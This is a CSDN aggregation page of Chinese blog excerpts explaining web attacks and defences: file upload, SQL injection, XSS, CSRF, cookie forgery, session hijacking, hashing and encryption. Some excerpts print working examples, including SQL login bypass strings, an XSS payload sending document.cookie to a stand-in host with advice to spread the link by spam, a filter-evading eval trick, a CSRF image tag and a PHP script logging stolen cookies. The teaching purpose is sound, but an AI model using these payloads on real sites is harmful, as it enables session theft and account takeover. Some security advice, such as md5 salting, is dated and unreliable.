web安全_web安全测试 - CSDN
web安全 订阅
随着Web2.0、社交网络、微博等等一系列新型的互联网产品的诞生,基于Web环境的互联网应用越来越广泛,企业信息化的过程中各种应用都架设在Web平台上,Web业务的迅速发展也引起黑客们的强烈关注,接踵而至的就是Web安全威胁的凸显,黑客利用网站操作系统的漏洞和Web服务程序的SQL注入漏洞等得到Web服务器的控制权限,轻则篡改网页内容,重则窃取重要内部数据,更为严重的则是在网页中植入恶意代码,使得网站访问者受到侵害。 展开全文
随着Web2.0、社交网络、微博等等一系列新型的互联网产品的诞生,基于Web环境的互联网应用越来越广泛,企业信息化的过程中各种应用都架设在Web平台上,Web业务的迅速发展也引起黑客们的强烈关注,接踵而至的就是Web安全威胁的凸显,黑客利用网站操作系统的漏洞和Web服务程序的SQL注入漏洞等得到Web服务器的控制权限,轻则篡改网页内容,重则窃取重要内部数据,更为严重的则是在网页中植入恶意代码,使得网站访问者受到侵害。
信息
攻击种类
SQL注入
定    义
保证Web环境安全,为新型互联网产品提供安全平台
中文名
Web安全
现状原因
目前很多业务都依赖于互联网
Web安全定义
随着Web2.0、社交网络、微博等等一系列新型的互联网产品的诞生,基于Web环境的互联网应用越来越广泛,企业信息化的过程中各种应用都架设在Web平台上,Web业务的迅速发展也引起黑客们的强烈关注,接踵而至的就是Web安全威胁的凸显,黑客利用网站操作系统的漏洞和Web服务程序的SQL注入漏洞等得到Web服务器的控制权限,轻则篡改网页内容,重则窃取重要内部数据,更为严重的则是在网页中植入恶意代码,使得网站访问者受到侵害。这也使得越来越多的用户关注应用层的安全问题,对Web应用安全的关注度也逐渐升温。
收起全文
精华内容
参与话题
  • Web安全防御(上)

    2018-08-22 21:22:06
    只要Web容器无法解析该目录下的文件,即使攻击者上传了脚本文件,服务器本身也不会收到影响。很多大型网站的上传应用,文件上传后会放到独立的存储上,做静态文件处理,一方面使用缓存加速,降低性能损耗;另一方面...

    1 文件上传防御

    1 文件上传目录设置为不可执行

    只要Web容器无法解析该目录下的文件,即使攻击者上传了脚本文件,服务器本身也不会收到影响。很多大型网站的上传应用,文件上传后会放到独立的存储上,做静态文件处理,一方面使用缓存加速,降低性能损耗;另一方面也杜绝了脚本执行的可能。

    2 判断文件类型

    判断文件类型时,结合使用MIME Type,后缀检查等方式。在文件类型检查中,强烈推荐使用白名单,而不是黑名单的方式。

    此外对于图片的处理,使用压缩函数或者resize函数,在处理图片的同时破坏图片中可能包含的HTML代码。

    3 单独设置文件服务器的域名

    由于服务器同源策略的关系,一系列客户端攻击将失效,比如上传
    crossdomain.xml,上传包含JavaScript的XSS利用等问题将得到解决。能否如此设置,需要看具体的业务环境。

    除此之外,文件上传功能,还要考虑到病毒,木马,色情图片和视频,反动政治文件等与具体业务安全结合更紧密的问题,则需要做的工作就更多了。不断的发现问题,结合业务需求,才能设计出合理的,最安全的上传功能。

    2 SQL注入的防御

    解决思路:
    - 找到所有的SQL注入漏洞
    - 修补这些漏洞

    1 使用预编语句

    防御SQL注入的最佳方式,就是使用预编译语句,绑定变量。

    2 使用存储过程

    效果与预编语句类似,区别在于存储过程需要先将SQL语句定义在数据库中。也肯呢个存在注入问题,避免在存储过程中,使用动态的SQL语句。

    3 检查数据类型

    4 使用安全函数

    各种Web语言都实现了一些编码函数,可以帮助对抗SQL注入。

    5 其他

    数据库自身角度来说,应该使用最小权限原则,避免Web应用直接使用root,dbowner等高权限账户直接链接数据库。为每个应用单独分配不同的账户。Web应用使用的数据库账户,不应该有创建自定义函数,操作本地文件的权限。

    展开全文
  • 浅谈web前端安全

    千次阅读 2017-11-30 18:06:17
    单纯地在你的客户端弹出信息只是类似于迫使你在自己的房间脱衣服...如同标题所写的,今天要聊的是WEB安全机制,但这“前端”二字倒是说的狭义了些,安全的问题大部分还是更依赖于后端的过滤和拦截措施,后端的朋友如果

            单纯地在你的客户端弹出信息只是类似于迫使你在自己的房间脱衣服——没人看得到,自然也不算啥恶意行为。那么如果我把你的信息通过脚本发送到我的服务器保存起来呢?先放心,我不打算这么做,也没那笔闲钱去购置一个服务器来做羞羞的事情,也不希望把我这地盘给封掉了。

    如同标题所写的,今天要聊的是WEB安全机制,但这“前端”二字倒是说的狭义了些,安全的问题大部分还是更依赖于后端的过滤和拦截措施,后端的朋友如果感兴趣,看一看也无妨。

    先不说上面的“通过脚本把信息发送给服务器”是什么情况,我们先来聊一聊WEB基本攻击有哪些。

    WEB基本攻击大致可以分为三大类—— “资源枚举”、“参数操纵” 和 “其它攻击”。

    资源枚举

    有时候受前人(技术前辈也好,你所接任的上一位员工也好)的影响,我们可能会约定成俗地去做某件事情,比如用骆驼命名法法来命名函数名、用JSDoc的方式来书写注释,这样会让你的团队工作更加规范。然后有一天要给项目做备份了,就直接把该项目压缩为rar文件,命名为什么呢?首选的自然是“bak.rar”,你看数据库的备份的形式不也是.bak嘛。

    于是乎,如果压缩包所在的地址是可访问的,那么所有人都可以轻松地下载到这个"bak.rar"文件,你的项目也不存在什么小秘密了(即使夏天夏天悄悄地过去)。

    这就是“资源枚举”,别有用心的人会遍历你站点所有可访问的目录,然后把一些常见的备胎文件名(比如“sql.bak”、“index-副本.html”)一个个都枚举一下,如果运气好枚举到了就直接下载。

    于是跟随主流在这里不是好的事情,对于重要的东西,要么放在外人不可访问的地方,要么应当给它起一个不那么好猜的名字。

    资源枚举也不仅仅局限于瞎找东西,聪明的人会利用线索来更好地猜东西。

    假设有一个站点走的伪静态的高冷路线,不想让别人知道它所使用的语言和数据库,但没有配置好后端错误信息的提示。那么“别有用心”的朋友就可以在这个站点里的某个搜索结果页面篡改url参数,导致数据库查询错误而返回数据库错误信息页面,或者输入一个根本不存在的子页面地址来获取错误信息,进而可判断该站点到底用的是什么数据库或动态语言。

    参数操纵

    这里包括了SQL注入、XPath注入、cgi命令执行,还有XXS和会话劫持等。前三个的攻击主要是在服务端触发的,后二者的攻击则是侧重于客户端。

    SQL注入这块不想细聊了,相信很多朋友都听到耳朵长茧,不外乎是提交含有SQL操作语句的信息给后端,后端如果没有做好过滤就执行该语句,攻击者自然可以随意操纵该站点的数据库。

    比如有一个图书馆站点book.com,你点进一本书的详情页面,其url是这样的:

    book.com/book?id=100

    说明这本书在数据库中的键值是100,后端收到url参数后就执行了数据库查询操作:

    select * from booktable where id='100'

    那么如果我们把url更改为

    book.com/book?id=100'or'1'='1

    那么数据库操作执行就变成了:

    select * from booktable where id='100'or'1'='1'

    从而取出了整个booktable 表单的全部数据。

     

    XPath注入跟SQL注入差不多,只不过这里的数据库走的xml格式,攻击方式自然也得按xml查找的语法来了,具体可看这里

    cgi命令执行指的是用户远程访问cgi脚本时,通过提交恶意的参数让服务器执行相关的cgi命令来获取信息甚至操纵服务器。有兴趣的朋友可以看下这里

    对于这几个攻击,我们需要做的自然是对提交参数的过滤,最好是前端过滤一遍,后端也过滤一遍(后端的过滤和拦截是最重要的,毕竟通过在浏览器禁用脚本的配置可以躲过前端的过滤)。

    XSS(cross-site scripting跨域脚本攻击)攻击也是最常见的WEB攻击之一,其重点是“跨域”和“客户端执行”。我们还是拿那个图书馆网站book.com来调侃下。

    假设页面右上角有一个搜索书籍的地方,你随便输入一本压根就没有的书,比如“有钱任性指南”,然后点击“搜索”按钮。这时候页面(book.com/search?name=有钱任性指南)会返回一段信息:

    您搜索的书籍“有钱任性指南”不存在

    好的,那我们输入这个怎样:

    <script>alert('没有书开个毛线书店啊')</script>

    假设这个图书馆站点没有对数据做任何过滤,而且会原封不动地把用户输入的数据展示回来,那么返回的页面自然也会返回这段脚本,从而执行它。

    但是这样不好玩,既然要做攻击,我们就要获取用户的数据,要获取数据自然要把信息传回我们的服务器(假设接收信息的地址是http://vajoy/get),那咱们可以这样写:

    <script>document.location='http://vajoy/get?cookie='+document.cookie</script>

    不过这样不好玩啊,收到的总是我们自己的数据,我们要收集的应该是别人的cookie信息啊!

    小意思,不妨通过QQ群,或者通过群发垃圾邮件,来让其他人点击这个地址:

    book.com/search?name=<script>document.location='http://vajoy/get?cookie='+document.cookie</script>

    这种便是XSS攻击中的一种,称为“Reflected XSS”——基于反射的XSS攻击,主要依靠站点服务端返回脚本,在客户端触发执行从而发起WEB攻击。

    与其相近的是“DOM-based or local XSS”——基于DOM或本地的XSS攻击。拿我现在工作的项目做比方——为用户提供免费的wifi,但是提供免费wifi的网关会往你访问的任何页面插入一段脚本,从而植入悬浮广告(当然你可以关闭它),这貌似没什么,但如果插入的脚本是获取你敏感数据的恶意脚本那就不一样了。像这种直接存在于页面,无须经过服务器返回脚本处理就直接跨域发送用户信息的行为就是基于本地的XSS攻击。

    还有最后一种称为“Stored XSS”——基于存储的XSS攻击。它是通过贴吧啊等地方来发表带有恶意跨域脚本的帖子或文章,从而把恶意脚本存储在里面,每个访问该帖子/文章的人就会中招。

    还记得一开始加载本文章的alert弹窗么?假设对文章进行了过滤,把全部“alert”啊、"eval"啊等敏感字符都过滤掉,那我们怎么办?我们可以这样:

    <script type="text/javascript">
    var x='eva'+String.fromCharCode(108),y=window,e='a'+String.fromCharCode(108)+'ert("欢迎收看本文章")';
    y[x]['call'](this,e);
    </script>

    照样实现我们想要的弹窗无误。

    对于XSS的预防自然也是对提交数据的过滤,另外还有一点——谨慎返回用户提交的内容!

    会话劫持

    百度百科有个很有意思的引喻——“在现实生活中,比如你去市场买菜,在交完钱后你要求先去干一些别的事情,稍候再来拿菜;如果这个时候某个陌生人要求把菜拿走,卖菜的人会把菜给陌生人吗?”

    这个比喻很有意思,我们常规访问一个http网站时是与其服务器建立了一次HTTP会话。假设你宿舍楼的“朋友”都跟你处于同一个子网上,其中有人想伪装成你来劫持你的HTTP会话,那么服务器会把菜,哦不,是信息返回给那个人吗?

    答案是肯定的,因为HTTP会话并不安全。它在经过TCP/IP协议封装传输数据时,在传输的数据的每一个字节中插入一个32位的序列号码,这个序列号用来保持跟踪数据和提供可靠性(序列号是依循数据顺序逐步递增的)。第三方攻击者可以通过嗅探的方式来获取用户与服务器通讯中的报文信息,如果他能猜测到数据中的序列号,那便能把合法的用户断开,伪装成合法用户让自己控制后续的通话。

    对于会话劫持的预防,可以走SSH协议、增强网络安全系统健壮性,也可以使用无序的UUID来替代通讯中的序列号码(而非逐步递增)。

    其它攻击

    其它攻击包括有前面未提及的CSRF攻击、钓鱼攻击和拒绝服务攻击等。

    CSRF(cross-site request forgery),翻译为跨站请求伪造,与XSS非常相似,但XSS是利用用户对当前网站的信任来发起攻击,而CSRF是利用网站对用户的信任来发起攻击。

    依旧拿上述的图书馆站点打个比方,如果它的安全机制很松懈——只要用户登录了网站后,只要没关闭浏览器,在任何情况都可以作为一个已通过身份验证的用户来做购书、借书操作(无须重新登录或者输入支付密码什么的,毕竟已经登录验证过一次了嘛)。

    那么我们给一位用户发送一份邮件怎样,里面放有一条转向购书执行页面的链接。。。噢不,那样还得用户点击它,我们想让用户看到的时候就立刻执行了购书操作,我们可以这样做——在邮件中插入一张图片:

    <img src='http://book.com/pay?bookid=100'/>

    img、script、iframe标签都是不受同源策略限制的,假设你使用的邮箱很直白地给用户即时显示这张图片,而该用户又刚好登录了book.com且没有关闭浏览器,那么src里的连接就会立刻访问book.com/pay页面,并按照已通过身份验证的情况来处理,从而做了购书的操作。

    相信现在你会很清楚为何现在的邮箱都不会直接显示邮件里的图片了吧——都是为了你的安全考虑。

    对于CSRF攻击,我们所能做的可以有:

    1. 检查报头中的Referer参数确保请求发自正确的网站(但XHR请求可调用setRequestHeader方法来修改Referer报头);

    2. 对于任何重要的请求都需要重新验证用户的身份;

    3. 创建一个唯一的令牌(Token),将其存在服务端的session中及客户端的cookie中,对任何请求,都检查二者是否一致。

    钓鱼攻击指的是网站的伪造,比如ta0bao.com,然后在其中应用XSS等方式发起攻击。

    拒绝服务(DoS)指的是向网站发起洪水一样的请求(Traffic Floor),导致服务器超负荷并关闭,处理方法常规是采用QoS(Quality of Service)的软硬件解决方案。

    攻击层面

    攻击层面指的是有恶意的人可能会从哪些地方来入手制造麻烦,常见的攻击层面有三种:

    一. 传统WEB应用程序

    1. 表单输入(甚至包括hidden控件的内容);

    2. cookie(通过修改cookie内容也可以达到SQL注入攻击的目的);

    3. 报头(有时候为了方便统计来源数据,服务器会把客户端发来报头的Referer、User-Agent信息存到数据库中,那么通过修改报头信息也可以起到SQL注入工具目的)

    4. 请求参数

    5. 上传文件(在文件内携带恶意代码)

    二. Web服务

    1. 上述“传统WEB服务”的全部方法;

    2. WSDL文档(暴露了服务端的每个方法及其使用方式)

    三. AJAX应用程序

    即上述的“一”和“二”的合集

    解决方案

    综上所述,我们可以这样审视我们的WEB站点:

    1. 永远不要相信客户端传来的任何信息,对这些信息都应先进行编码或过滤处理;

    2. 谨慎返回用户输入的信息;

    3. 使用黑名单和白名单处理(即“不允许哪些敏感信息”或“只允许哪些信息”,白名单的效果更好但局限性高);

    4. 检查、验证请求来源,对每一个重要的操作都进行重新验证;

    5. 使用SSL防止第三方监听通信(但无法阻止XSS、CSRF、SQL注入攻击);

    6. 不要将重要文件、备份文件存放在公众可访问到的地方;

    7. 会话ID无序化;

    8. 对用户上传的文件进行验证(不单单是格式验证,比方一张gif图片还应将其转为二进制并验证其每帧颜色值<无符号8位>和宽高值<无符号16位>);

    9. WSDL文档应当要求用户注册后才能获取;

    10. 在报头定义CSP(Content Security Policy);

    11. 。。。

    虽然我们有一些必要的手段来防止WEB攻击,但永远不会有一枚silver bullet来彻底解决问题,先不谈那些数不胜数的已知的、可被攻击的漏洞,对于谜一样的0-day漏洞,我们所能做的只是提前发现并及时修补它们。

    今天要唠嗑的就是这些,写着写着不知不觉就午夜了。共勉~

    展开全文
  • web安全(入门篇)

    万次阅读 多人点赞 2016-07-25 16:48:29
    web安全的概念太过于宽泛,博主自知了解的并不多,还需要继续学习。但是又想给今天的学习进行总结,所以今天特分享一篇关于web安全的文章,希望对初次遇到web安全问题的同学提供帮助。SQL注入 数据库表出现场景 当...

    web安全的概念太过于宽泛,博主自知了解的并不多,还需要继续学习。但是又想给今天的学习进行总结,所以今天特分享一篇关于web安全的文章,希望对初次遇到web安全问题的同学提供帮助。


    SQL注入

    • 数据库表

    这里写图片描述

    • 出现场景

    当开发登录模块的时候,如果我们使用是mysql操作php,并非使用mysqliPDO等;当查询用户是否存在的SQL是这样写的,select * from user where name = 'admin' and password = '123456'; 这样写是以查询来的,但是会出现漏洞。居心叵测的人就可以使用万能密码xxx ' or 1 # 来破解上面的登录操作。

    • SQL注入原理

    用户在输入用户名的时候直接输入万能密码:xxx' or 1 #,那么最后拼接的SQL会变为:select * from user where name = 'xxx' or 1 # and password = '123456'; #符号代表SQL语法中的注释,上面的SQL就如同select * from user where name = 'xxx' or 1 。这样是可以查询到用户信息的,所以用户就登录了系统。

    • 如何防范

    1、过滤非法字符:保证传来的字符串作为一个参数,而不是语句拼接的一部分。所以需要对特殊字符进行转义,可以使用addslashes函数,我们可以给$_GET、$_POST、$_COOKIE等几个数组进行转义。下面我给大家封装了一个方法,递归给数组中带特殊字符的元素进行转义。

    封装函数

    <?php
    /**
     * 给数组中的特殊字符进行转义
     * @param arr $arr 转义前的数组
     * @return arr 转义后的数组
     */
    function _addslashes($arr){
        foreach ($arr as $k => $v) {
            if(is_string($v)){
                $arr[$k] = addslashes($v);
            }else if(is_array($v)){
                $arr[$k] = _addslashes($v);
            }
        }
        return $arr;
    }
    ?>

    其次,在初始化文件中,使用以下代码

    <?php
    //给get、post、cookie中的内容进行转义
    $_GET = _addslashes($_GET);
    $_POST = _addslashes($_POST);
    $_COOKIE = _addslashes($_COOKIE);
    ?>

    2、确保正确的数据类型:判断url或表单中传来的数据是否为想要的数据类型,如果不是,进行相应的数据类型转换。如使用方法intval() 提取变量中的整数值;如果参数错误,可以提示用户非法操作!

    3、使用正则表达式:设置用户的输入规则,限制用户不安规则瞎输

    4、使用预处理而不是拼接SQL语句:在上文我说过,使用mysql操作数据库会出现漏洞,避免出现这样的问题,可以使用mysqli、PDO来操作数据库。因为它们两都是将SQL预处理的,然后放入参数。

    prepare st1 from 'select * from user where name=? and password=?';//首先定义sql模板
    set @a="admin' or 1 #";//设置参数1
    set @b='123456';//设置参数2
    execute st1 using @a,@b;//执行sql

    密码安全

    • 场景

    假如某网站数据库泄露,那么用户信息就被一览无余了,如果这是用户的常用密码,那么坏人拿到密码就可以进行撞库操作,那么你买的12306的票就会被坏人退了。以前csdn和天涯就是使用明文来存储密码的,之后就出现的泄露事件。

    • md5加密

    md5是一种加密算法,是不可逆的算法。我们可以将密码使用md5加密后进行存储。那么在判断的时候,需要将用户输入的数据加密再和表中的数据相对比。

    注:在php和mysql中都有md5函数。

    • md5的不安全性

    上文说了要采用md5加密,怎么又不安全。网上有网站是在线md5解密的,他们是怎么解密的呢?因为他们一直在收集简单密码的md5值,形成越来越大的库。所以,如果密码是简单的纯数字,那么生成的md5值可能会被该网站解密。所以我们应该尽量把密码设置得难一些。

    • md5加盐

    什么是md5加盐?在存储密码的时候,我们可以将真实的密码+“盐”之后再进行md5加密。“盐”可以是一个字符串(无规律),也可以是一个字段,比如说是姓名字段,也可是是单独的字段。
    在判断用户是否存在的时候,我们先将输入的密码+“盐”,然后md5加密,在和数据库中的密码字段进行匹配。这样做会安全一些。


    cookie安全

    • 场景

    在某网站中,如果用户登录之后,如果使用的是cookie来存储用户的信息,然后是通过检测是否有这个cookie值来检测是否登录的。那么可能会出现cookie的安全问题。

    • 出现的原因

    这里写图片描述

    <?php
    /**
     * 判断用户是否登录
     * @return bool 是否登录
     */
    function isLogin(){
        return isset($_COOKIE['name']);
    }
    ?>

    这里写图片描述

    当用户登录以后,在浏览器中会出现cookie的值,形如上图,cookie的键是name,值是admin。如果网站是根据是否有这个cookie值来检测,形如上面代码,那么坏人就可以使用火狐浏览器中的firebug工具来伪造cookie,如上图。我只是伪造了一个cookie,名称也是name,但是内容我却可以随便输入,此时便会伪造一个cookie,那么以后带着这个cookie去访问的时候其他页面是,就不会被代码拦截了。

    • 解决方式

    在登录成功时,除了只设置name项之外,我们可以多设置一项,但是这一项的值必须是随机的,没有任何规律可循的。下面的代码我是先定义了一个盐的变量,然后把登录后的用户名+盐的方式再进行md5加密,再定义一个cookie项。然后修改判断用户是否登录的代码。

    <?php
    $salt = "ioujijasdf/,.[?";
    setcookie('name',$user['name']);
    setcookie('cookiecode',md5($user['name'].'|'.$salt));
    >?
    <?php
    /**
     * 加密用户名
     * @param str $name 用户名
     * @return str 加密之后的用户名
     */
    function cCode($name){
        $salt = require(ROOT.'/lib/config.php');
        return md5($name.'|'.$salt['salt']);
    }
    /**
     * 判断用户是否登录
     * @return bool 是否登录
     */
    function isLogin(){
        if(!isset($_COOKIE['name']) || !isset($_COOKIE['cookiecode'])){
            return false;
        }
        return $_COOKIE['cookiecode'] === cCode($_COOKIE['name']);
    }
    ?>
    

    xss攻击

    • 案列
      在从事项目开发中,经常会碰到评论功能,如果我们将评论的内容直接存到表中,那么显示的时候就可能被用户输入的东西进行攻击。

    1、恶作剧:

    <font size="100" color="red">逗你玩</font>

    这里写图片描述

    2、略带恶意:
    这样就会无限的弹出对话框了,这个网站就挂了,除非把改评论删除

    <script>
    while(true) {
    alert('欢迎你');
    } 
    </script>

    3、恶意
    读取你的cookie信息,并发送到指定的页面,进行保存操作。

    获取cookie的信息

    <script>
    alert(document.cookie);
    </script>

    这里写图片描述

    评论的内容

    <script>
    var url = "http://localhost//toucookie.php?cookie=" + document.cookie;
    var img = document.createElement("img");
    img.src = url;
    document.appendChild(url);
    </script>

    toucookie.php中的内容

    <?php
    /**
     * 保存传过来的cookie信息
     */
    file_put_contents('./cookie.txt', $_GET['cookie'],FILE_APPEND);
    ?>

    cookie.txt的内容

    name=admin; cookiecode=6db8034dfdeb453362f50154ee6fa45d
    • 防范xss

    1、不需要展示HTML标签的表单内容,入库时直接转成实体显示

    $_POST['content] = htmlspecialchars($_POST['content']);

    2、可以用正则检测输入框必须为email等合法数据

    3、需要展示HTML标签的部分, 仅允许展示有限的标签,如p,a,img等
    strip_tags 来过滤html标签

    4、需要展示HTML标签的部分, 仅允许展示有限的标签,如p,a,img等
    如strip_tags 来过滤html标签

    展开全文
  • Web安全概述

    千次阅读 2018-03-08 11:43:20
    与此同时,随着Web技术发展越来越成熟,而非Web服务(如Windows操作系统)越来越少的暴露在互联网上,现在互联网安全主要指的是Web安全。既然要讲Web安全,首先介绍什么是安全,安全的本质是什么?引用《白帽子讲...



    互联网刚开始是安全的,但是伴随着黑客(Hacker)的诞生,互联网变得越来越不安全。任何一个事情都有两面性,黑客也有好有坏,好的黑客叫白帽子,坏的黑客叫黑帽子。与此同时,随着Web技术发展越来越成熟,而非Web服务(如Windows操作系统)越来越少的暴露在互联网上,现在互联网安全主要指的是Web安全。

    既然要讲Web安全,首先介绍什么是安全,安全的本质是什么?引用《白帽子讲安全》里对安全的定义:安全问题的本质就是信任问题。举例来说,自行车的车锁,我们认为是安全的,因为我们认为自行车锁的制造商是不会背着我们留有钥匙,如果这个信任都没有的话,那么这个自行车就是不安全的。

    在介绍完什么是安全的本质后,我们继续讲解安全的三要素,机密性、完整性和可用性。机密性指的是要求保护数据内容不能泄露,加密是实现机密性要求的常见方法。完整性指的是保护数据内容是完整的、没有被篡改的,实现完整性的常见方法是数字签名。可用性要求保护资源是随需而得,黑帽子通常通过DDos攻击抢占服务器的资源,导致正常用户不能正常访问。接下来介绍常见的加密算法和数字签名算法。

    加密算法

    常见加密算法有对称加密和非对称加密,对称加密指的是加密和解密用的同一个密钥,而非对称加密的加密过程和解密过程用的是不同密钥,常见对称加密有DES(Data Encryption Standard,数据加密标准)和AES,而非对称加密有RSA。

    1. 对称加密算法

    对称加密算法我们主要介绍AES(Advanced Encryption Standard,高级加密标准),AES三个基本概念:密钥、填充、模式。根据密钥长度,AES又可以细分为AES128、AES192、AES256。下面介绍AES的加密流程,首先将明文分解为大小为128bit小块,然后将这些明文小块放入AES加密器各自生成密文块。当将明文小块大小小于128bit时,需要对这个明文小块进行填充操作。而AES加密器提供了CBC、ECB、CTR等5种模式。




    2. 非对称加密算法

    非对称加密算法我们主要介绍RSA算法,RSA算法基于大数分解难而使得该算法异常安全。下面我们开始描述RSA算法,首先选择两个充分大的质数p和q,并计算 n=pq。接下来计算m=(p-1)(q-1),最后找出两个数e和d,使得 (e*d) mod m =1。其中e和n就是公钥,而d和n就是私钥。任何知道公钥的人都可以利用公式 c = a^e mod n把原始数据加密成一个密文,私钥的持有者可以通过公式 c^d mod n 计算原始数据a。通过计算公式我们也可以发现加密和解密的算法是不一样的,这也是”非对称“的由来。

    3. 融合对称加密算法和非对称加密算法

    通过对对称加密算法和非对称加密算法的介绍,我们知道如果A、B两个人想要建立会话,为了保证会话的机密性,我们需要对数据进行加密,这个密码本只有A、B两个人知道,而如何保证这个密码本在传输的过程中被第三者窃取呢?我们可以通过非对称加密对密码本进行加密,即A首先呼叫B,并索要B的公钥,然后用B的公钥对密码本进行加密并将密文发送给B,B收到A的消息之后,用自己的私钥进行解密。这个过程看起来已经很完美了,但是有一个让人意想不到的漏洞--中间人攻击。中间人在网络中发现A索要B的公钥这条消息,当B将自己的公钥发送给A时,中间人截取B的公钥,并将自己的公钥发送给A。接下来,A将自己的密码本通过中间人的公钥继续加密发送给B,中间人截取A发出来的这条消息,用自己的私钥进行解密,然后用B的公钥进行加密,重新发送给B。B收到消息后并不会发现什么异常,因为B能用自己的私钥进行解密。但是它们都不知道中间人已经完全掌握了它们的密码本。

    中间人攻击是在获取对方公钥的时进行替换,那么,解决这个问题的办法就是建立一个获取对方公钥的可信渠道。一个简单而有效地办法就是建立一个所有人都信任的权威机构,有改权威机构来存储并分发大家的公钥。这就是我们通常所说的数字认证机构,英文是Certificate Authority,简称CA。任何人都可以申请把自己的公钥放到CA上去,不过CA必须亲自检验申请者是不是符合资格。如果A想要和B建立会话,那么A直接从CA出获取B的公钥,这样A就不用担心拿到的公钥是不是假的。

    签名算法

    中间人既然能假扮公钥,会不会假扮CA呢?答案是肯定的。这样一来,CA不但需要向A保证“这个公钥确实是B的”,还要向A证明”我确实是CA“。对应的解决方法是数字签名算法。CA首先生存一个自己的公钥私钥对,然后将公钥公之于众。之后,CA对每条发出去的消息都用自己的私钥加个密作为签名,以此证明消息的来源是真实的。接受方收到消息之后,用CA的公钥进行解密,如果能解得开,则说明对方一定是真实的CA。因为,这样的消息只有私钥持有者才能做的出来。至此为止,加密算法和签名算法就讲解完毕,一条安全的通信线路的设计也有了一个比较完美的方案。


    资源 | 干货 | 感悟

    长按二维码,关注“木可大大”

    展开全文
  • web常见安全漏洞

    万次阅读 2018-09-08 10:07:40
    随着Web2.0、网络社交等一系列新型的互联网产品的诞生,基于Web环境的...Web业务的迅速发展吸引了黑客们的强烈关注,接踵而至的就是Web安全威胁的凸显。黑客利用网站操作系统的漏洞和Web服务程序的SQL注入漏洞...
  • 菜鸟浅谈——web安全测试

    万次阅读 多人点赞 2018-02-28 13:27:23
    本文仅为小白了解安全测试提供帮助 一:安全测试注意事项 1)要注意白帽子与黑客之间的区别 2)在挖漏洞挣外快时,注意不要使用安全扫描或暴力破解软件对上线网站进行扫描或攻击。 不要对上线网站造成破坏,不要...
  • Web开发常见安全问题及解决

    万次阅读 2018-05-22 22:36:38
    Web攻击动机:恶作剧;关闭Web站点,拒绝正常服务;篡改Web网页,损害企业名誉;免费浏览收费内容;盗窃用户隐私信息,例如Email;以用户身份登录执行非法操作,从而获取暴利;以此为跳板攻击企业内网其他系统;网页...
  • Web安全问题

    千次阅读 2019-06-11 14:28:09
    1、XSS攻击(跨站点脚本攻击) 指黑客通过篡改网页,注入恶意HTML脚本,在用户浏览网页时,... 常见的XSS攻击类型有两种: 1、反射性 (url参数直接注入) ... 存储型(持久性):攻击者提交含有恶意脚本的请求...
  • Web 开发常见安全问题

    万次阅读 2016-03-01 20:54:50
    不是所有 Web 开发者都有安全的概念,甚至可能某些安全漏洞从来都没听说过。这就是这篇科普文章的存在意义,希望 Web 开发者在开发时能依此逐条检查代码中的安全问题。 注:服务器运维相关的安全注意事项不在本文之...
  • 常见六大Web安全攻防解析

    千次阅读 多人点赞 2019-06-30 14:33:19
    在互联网时代,数据安全与个人隐私受到了前所未有的挑战,各种新奇的攻击技术层出不穷。如何才能更好地保护我们的数据?本文主要侧重于分析几种常见的攻击的类型以及防御的方法。 想阅读更多优质原创文章请猛戳...
  • 这是作者的系列网络安全自学教程,主要是关于网安工具和实践操作的在线笔记,特分享出来与博友共勉,希望您们喜欢,一起...这篇文章简单叙述了Web安全学习路线,并实现了最简单的木马和病毒代码,希望对读者有所帮助。
  • 我的安全之路——Web安全

    万次阅读 多人点赞 2020-07-24 11:00:13
    write in my dormitory at ‏‎9:47:05 Friday, April 7, 2017 by giantbranch(一个当初想横跨web跟二进制的菜鸡)————致即将毕业的自己。这是我的安全之路系列第一篇,敬请期待第二篇:《我的安全之路——二...
  • WEB安全测试要点总结

    万次阅读 多人点赞 2020-07-27 16:01:07
    一、大类检查点: 大类 细项 上传功能 绕过文件上传检查功能 上传文件大小和次数限制 注册功能 注册请求是否安全传输 注册时密码复杂度是否后台检验 激活链接测试 ...登录功能
  • Web安全工程师成长路线

    千次阅读 多人点赞 2018-06-27 22:24:14
    Web安全工程师 职位描述: 对公司网站、业务系统进行安全评估测试(黑盒、白盒测试);对公司各类系统进行安全加固;对公司安全事件进行响应,清理后门,根据日志分析攻击途径;安全技术研究,包括安全防范技术,...
  • Web安全攻防

    千次阅读 2018-04-11 15:39:49
    参考网址:【干货分享】Web安全漏洞深入分析及其安全编码常见 Web 安全攻防总结Web 安全入门之常见攻击来一张镇博图:安全无小事。1.XSS介绍:全英Cross Site Script,跨站脚本攻击。原理:攻击者在Web页面中插入...
  • Web是互联网的核心,是未来云计算和移动互联网的最佳载体,因此Web安全也是互联网公司安全业务中最重要的组成部分。 下面来看看几种常见的web漏洞: 1.XSS跨站脚本攻击 XSS跨站脚本攻击,通常指黑客通过”HTML...
  • 白帽子讲Web安全

    万次阅读 2017-03-18 22:43:49
    第一篇:世界观安全第一章:我的安全世界观一个网站的数据库,在没有任何保护的...1.1.3Web安全的兴起常见攻击:SQL注入,XSS(跨站脚本攻击)“破坏往往比建设容易”,但凡事都不是绝对的。一般来说,白帽子选择的方
  • Web安全学习系列(1)

    千次阅读 2016-01-27 13:13:02
    《白帽子讲Web安全》笔记1-5章白帽子讲Web安全笔记1-5章 第1章 安全世界观 安全评估过程 资产等级划分 威胁分析 风险分析 确认解决方案 第2章 浏览器安全 第3章 XSS攻击 反射型XSS 存储型XSS DOM Based XSS XSS钓鱼 ...
  • WEB安全测试.pdf

    千次下载 热门讨论 2020-07-29 21:05:58
    Web安全测试》中的秘诀演示了开发和测试人员在进行单元测试、回归测试或探索性测试的同时,如何去检查最常见的Web安全问题。与即兴的安全评估不同的是,这些秘诀是可重复的、简洁的、系统的——可以完美地集成到你...
  • 12种开源Web安全扫描程序

    万次阅读 2017-11-24 17:23:09
    开源Web安全扫描程序来查找漏洞 赛门铁克的一个有趣的报告显示,76%的被扫描网站有恶意软件 如果您使用的是WordPress,那么SUCURI的另一份报告显示,超过70%的被扫描网站被感染了一个或多个漏洞。 作为网络应用...
1 2 3 4 5 ... 20
收藏数 816,767
精华内容 326,706
关键字:

web安全